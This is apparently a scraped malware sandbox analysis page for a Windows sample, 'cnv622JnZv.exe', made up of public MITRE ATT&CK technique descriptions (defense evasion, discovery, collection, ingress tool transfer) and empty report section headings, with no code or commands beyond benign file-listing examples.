Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report cnv622JnZv.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre